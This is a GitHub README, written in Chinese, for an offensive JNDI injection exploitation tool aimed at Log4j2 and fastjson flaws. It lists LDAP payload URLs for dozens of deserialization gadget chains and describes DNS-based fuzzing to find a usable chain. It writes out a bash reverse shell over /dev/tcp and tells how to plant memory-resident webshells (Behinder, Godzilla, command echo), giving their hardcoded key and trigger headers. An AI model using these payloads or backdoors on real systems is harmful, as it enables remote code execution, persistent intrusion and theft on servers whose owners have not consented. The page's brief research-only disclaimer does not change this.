- Notifications
You must be signed in to change notification settings - Fork66
Bl0omZ/JNDIEXP
Folders and files
Name | Name | Last commit message | Last commit date | |
---|---|---|---|---|
Repository files navigation
用于 JNDI注入 利用的工具,参考/引用了Rogue JNDI /JNDIExploit /Y4er /c0ny1项目的代码。
本工具仅适用于安全研究,严禁适用本工具发起网络黑客攻击,造成法律后果,请使用者自负。
Usage: java -jar JNDIInject-1.2-SNAPSHOT.jar [options] Options: -i, --ip Local ip address (default: 0.0.0.0) -l, --ldapPort Ldapbind port (default: 1389) -p, --httpPort Httpbind port (default: 8080) -u, --usage Show ALL usage (default: false) -h, --help Show thishelp
使用java -jar JNDIInject.jar -u
查看全部完整的支持的 LDAP 格式以及爆破的字典
java -jar JNDIInject.jar -uSupported LADP Queries:* all words arecase INSENSITIVE when send to ldap server[+] Basic Queries: ldap://0.0.0.0:1389/basic/[PayloadType]/[Params], e.g.ldap://0.0.0.0:1389/basic/[cmd] ---Best URL Encode ldap://0.0.0.0:1389/basic/base64/[base64_encoded_cmd] ldap://0.0.0.0:1389/basic/ReverseShell/[ip]/[port] ---windows NOT supported ldap://0.0.0.0:1389/basic/ReverseShell2/[ip]/[port] ldap://0.0.0.0:1389/basic/memshell/[memshellType] -----------------------------------------------------------------------------------------> 高版本java的利用[+] ByPass Queries: ldap://0.0.0.0:1389/[PayloadType]/[Type]/[Params], e.g. ldap://0.0.0.0:1389/[PayloadType]/[cmd] ldap://0.0.0.0:1389/[PayloadType]/base64/[base64_encoded_cmd] ldap://0.0.0.0:1389/[PayloadType]/reverseshell/[ip]/[port] ---windows NOT supported ldap://0.0.0.0:1389/[PayloadType]/reverseshell2/[ip]/[port] ---windows NOT supported ldap://0.0.0.0:1389/[PayloadType]/memshell/[memshellType] [+] ----------------------------------------------------------------------------------------->爆破可利用链 ldap://0.0.0.0:1389/fuzzbyDNS/[domain] ----------------------------------------------------------------------------------------->爆破可利用链2[+] Fuzz Queries: ldap://0.0.0.0:1389/fuzz/[GadgetType]/[domain], e.g. ldap://0.0.0.0:1389/fuzz/[PayloadType]/[domain] -----------------------------------------------------------------------------------------> [PayloadType]: ldap://0.0.0.0:1389/URLDNS/[domain]{------The following methods are supported memshell[以下方法支持内存马]-------------------} ldap://0.0.0.0:1389/basic/[cmd] ldap://0.0.0.0:1389/EL/[cmd] ldap://0.0.0.0:1389/CommonsBeanutils1/base64/[base64_encoded_cmd] ldap://0.0.0.0:1389/CommonsBeanutils183NOCC/ReverseShell/[ip]/[port] ldap://0.0.0.0:1389/CommonsBeanutils192NOCC/ReverseShell2/[ip]/[port] ldap://0.0.0.0:1389/CommonsCollections1/memshell/[memshellType] ldap://0.0.0.0:1389/CommonsCollections2/memshell/FILE:data/exp.class ldap://0.0.0.0:1389/CommonsCollections3/memshell/SpringInterceptorMemShell ldap://0.0.0.0:1389/CommonsCollections4/memshell/TomcatCmdEcho ldap://0.0.0.0:1389/CommonsCollections5/memshell/TomcatFilterMemShellFromThread ldap://0.0.0.0:1389/CommonsCollections6/memshell/TomcatFilterMemShellFromJMX ldap://0.0.0.0:1389/CommonsCollections7/memshell/TomcatListenerMemShellFromThread ldap://0.0.0.0:1389/CommonsCollectionsK1/memshell/TomcatListenerMemShellFromJMX ldap://0.0.0.0:1389/CommonsCollectionsK2/memshell/TomcatListenerNeoRegFromThread ldap://0.0.0.0:1389/CommonsCollectionsK3/memshell/TomcatServletMemShellFromThread ldap://0.0.0.0:1389/CommonsCollectionsK4/memshell/TomcatServletMemShellFromJMX ldap://0.0.0.0:1389/C3P0/http://127.0.0.1:8080:Exploit ldap://0.0.0.0:1389/Clojure/[cmd] ldap://0.0.0.0:1389/BeanShell1/[cmd] ldap://0.0.0.0:1389/JSON1/[cmd] ldap://0.0.0.0:1389/Spring1/[cmd] ldap://0.0.0.0:1389/Spring2/[cmd] ldap://0.0.0.0:1389/Hibernate1/[cmd] ldap://0.0.0.0:1389/Myfaces1/[cmd] ldap://0.0.0.0:1389/MozillaRhino1/[cmd] ldap://0.0.0.0:1389/rome/[cmd] ldap://0.0.0.0:1389/groovy1/[cmd] ldap://0.0.0.0:1389/Vaadin1/[cmd] ldap://0.0.0.0:1389/snakeyaml//http://127.0.0.1:8080/exp.jar{------The following methods are supported memshell[以下方法不支持内存马]-------------------} ldap://0.0.0.0:1389/groovyBytomcat/[cmd] ldap://0.0.0.0:1389/XStream/[cmd] ldap://0.0.0.0:1389/mvel/[cmd] ldap://0.0.0.0:1389/BeanShell2/[cmd] ldap://0.0.0.0:1389/tomcat_dbcp1_RCE/[cmd] ldap://0.0.0.0:1389/tomcat_dbcp2_RCE/[cmd] ldap://0.0.0.0:1389/commons_dbcp1_RCE/[cmd] ldap://0.0.0.0:1389/commons_dbcp2_RCE/[cmd] ldap://0.0.0.0:1389/druidjdbc/[cmd] ldap://0.0.0.0:1389/tomcatjdbc/[cmd] -----------------------------------------------------------------------------------------
由于可利用的链较多,各个利用链都有需要的依赖包,所以设计使用比较笨的方法进行fuzz,尽可能判断出可以利用的利用链。本模块利用tomcat中的org.apache.naming.factory.BeanFactory
和JDK自带的MLET类进行fuzz。
缺点:
1. 需要依赖tomcat的ObjectFactory类(org.apache.naming.factory.BeanFactory2. 需要配合burpsutite的intruder模块3. 配合http平台接收请求(推荐ceye)(使用python3 -m http.server port
简易http接受请求)4.使用tomcat时由于使用的ParallelWebappClassLoader加载第三方lib,所以MLET加载class会报错,故无法使用此模块进行爆破(后续考虑删除此模块)
- 在VPS上启动工具,利用时讲ip替换为实际VPS的IP地址。
${jndi:ldap://127.0.0.1:1389/basic/${java:version}}
使用${java:version}获取到目标服务器上的java版本(仅仅适用于Log4j2漏洞利用,fastjson等其他漏洞可以跳过此步骤)- JDK版本小于
11.0.1, 8u191, 7u201, 6u211
版本,可以直接使用basic模块
ldap://0.0.0.0:1389/basic/cmd (无回显,需要进行url编码) ldap://0.0.0.0:1389/basic/base64/[base64_encoded_cmd] ldap://0.0.0.0:1389/basic/ReverseShell/[ip]/[port](反弹shell) ldap://0.0.0.0:1389/basic/ReverseShell2/[ip]/[port] ldap://0.0.0.0:1389/basic/memshell/[memshellType](内存马)
- JDK版本大于11.0.1, 8u191, 7u201, 6u211时,需要尝试使用利用链绕过,可以使用${jndi:ldap://127.0.0.1:1389/fuzzbyDNS/[domain]}利用dnslog去判断哪些利用链可以进行利用(只需要发送一次请求)
(反序列化链存在版本区别serialVersionUID会改变,通过dns请求可知目标可以使用el,groovy,BeanShell1反序列化,CC3.2.1反序列化,CB192等等利用模块)(PS:测试使用mac故未出现系统信息)
- 选择其中一个利用链进行利用
在上述情况不知道如何利用的情况下可以使用本模块进行fuzz。
利用DNSLOG发现log4j2漏洞或者Fastjson类能够发起ldap请求的漏洞。
在目标可以访问的服务器上(vps或内网服务器)开启本工具进行监听
需要配合burpsutite的intruder模块
配合DNSLOG平台接收请求(推荐ceye)(使用
python3 -m http.server port
简易http接受请求)直接使用已有的利用链直接生成发起dns请求的命令,搭配dns平台进行fuzz
原理:使用各个利用链发起dns请求。
ldap://0.0.0.0:1389/fuzz/EL/xxxx.dnslog.cn
下列为FUZZ使用字典
URLDNS CommonsBeanutils1CommonsBeanutils183NOCCCommonsBeanutils192NOCCCommonsCollections1CommonsCollections2CommonsCollections3CommonsCollections4CommonsCollections5CommonsCollections6CommonsCollections7CommonsCollectionsK1CommonsCollectionsK2CommonsCollectionsK3CommonsCollectionsK4C3P0groovyBytomcatClojureBeanShell1JSON1Spring1Spring2Hibernate1MozillaRhino1romegroovy1ELsnakeyamlXStreammvelBeanShell2tomcat_dbcp1_RCEtomcat_dbcp2_RCEcommons_dbcp1_RCEcommons_dbcp2_RCEdruidjdbctomcatjdbcVaadin1
**说明:**低版本的java环境包括11.0.1, 8u191, 7u201, 6u211版本开始做了限制之前的利用方式。本模块使用http请求的方式,返回给受害者恶意类执行。使用说明:
/basic/base64/[base64_encode_command]/basic/reverseshell2/ip/port/basic/reverseshell/ip/port
reverseshell执行的命令为:bash -c $@|bash 0 echo bash -I >& /dev/tcp/ip/port 0>&1
**说明:**使用两种加载本地classpath的类进行绕过的方法:
- 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
- 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。这里使用ysoserial的反序列化链
可以使用链(PayloadType):
CommonsBeanutils1CommonsBeanutils183NOCCCommonsBeanutils192NOCCCommonsCollections1CommonsCollections2CommonsCollections3CommonsCollections4CommonsCollections5CommonsCollections6CommonsCollections7CommonsCollectionsK1CommonsCollectionsK2CommonsCollectionsK3CommonsCollectionsK4C3P0groovyBytomcatClojureBeanShell1JSON1Spring1Spring2Hibernate1Myfaces1MozillaRhino1romegroovy1ELsnakeyamlXStreammvelBeanShell2tomcat_dbcp1_RCEtomcat_dbcp2_RCEcommons_dbcp1_RCEcommons_dbcp2_RCEdruidjdbctomcatjdbcVaadin1
可使用的利用方式(新增内存马)
/[cmd]/base64/[base64_cmd]/reverseshell/[ip]/[port]/reverseshell2/[ip]/[port]/memshell/[TomcatFilterMemShellFromThread]/memshell/FILE:data/exp.class
可以进行组合执行
ldap://ip:port/XStream/open%20-a%20calculatorldap://ip:port/Spring1/base64/b3BlbiAtYSBjYWxjdWxhdG9yldap://ip:port/EL/reverseshell/127.0.0.1/4444ldap://ip:port/CommonsBeanutils1/reverseshell2/127.0.0.1/4444ldap://ip:port/EL/memshell/SpringInterceptorMemShellldap://ip:port/CommonsBeanutils1/memshell/TomcatCmdEcholdap://ip:port/CommonsCollectionsK1/memshell/TomcatFilterMemShellFromThreadldap://ip:port/CommonsCollectionsK2/memshell/TomcatFilterMemShellFromJMXldap://ip:port/CommonsCollections1/memshell/TomcatListenerMemShellFromThreadldap://ip:port/CommonsBeanutils192NOCC/memshell/TomcatListenerMemShellFromJMXldap://ip:port/CommonsBeanutils183NOCC/memshell/TomcatListenerNeoRegFromThreadldap://ip:port/EL/memshell/TomcatServletMemShellFromThreadldap://ip:port/EL/memshell/TomcatServletMemShellFromJMX
snakeyaml :command=http://127.0.0.1:8080/exp.jar 加载恶意类
。可以使用提供的yaml-payload-master(需要修改代码,重新生成jar,内附使用说明)。无法使用reverseshell。
ldap://ip:port/bypass/snakeyaml/http://127.0.0.1:8080/exp.jarldap://ip:port/bypass/snakeyaml/base64/aHR0cDovLzEyNy4wLjAuMTo4MDgwL2V4cC5qYXI%3D
C3p0 :command=http://127.0.0.1:8080:Exploit(端口为默认为8080)
data目录下的Exploit可以进行参考,直接修改Exploit.java的命令使用javac编译(不用另外起http服务)
ldap://ip:port/bypass/snakeyaml/http://127.0.0.1:8080:Exploitldap://ip:port/bypass/snakeyaml/base64/aHR0cDovLzEyNy4wLjAuMTo4MDgwOkV4cGxvaXQ%3D
- 每种内存马都同时插入冰蝎,哥斯拉,命令回显内存马
- TomcatServlet内存马需要访问指定路径(网站根目录+/ser)
- key为
ck4Gr4Qi
- 命令回显内存马需要添加http头
Referer:https://www.google.com/x-client-data:cmdcmd:whoami
- 冰蝎需要添加http头,密码为ck4Gr4Qi
Referer:https://www.google.com/x-client-data:rebeyond
- 哥斯拉需要添加http头,key为ck4Gr4Qi
Referer:https://www.google.com/x-client-data:godzilla
发现Log4j2漏洞或者fastjson漏洞后,使用burp的intruder模块进行fuzz(简单直接)
添加Fuzz2的字典。(可以设置一下发包间隔1s)
去DNS平台查询结果
能用就行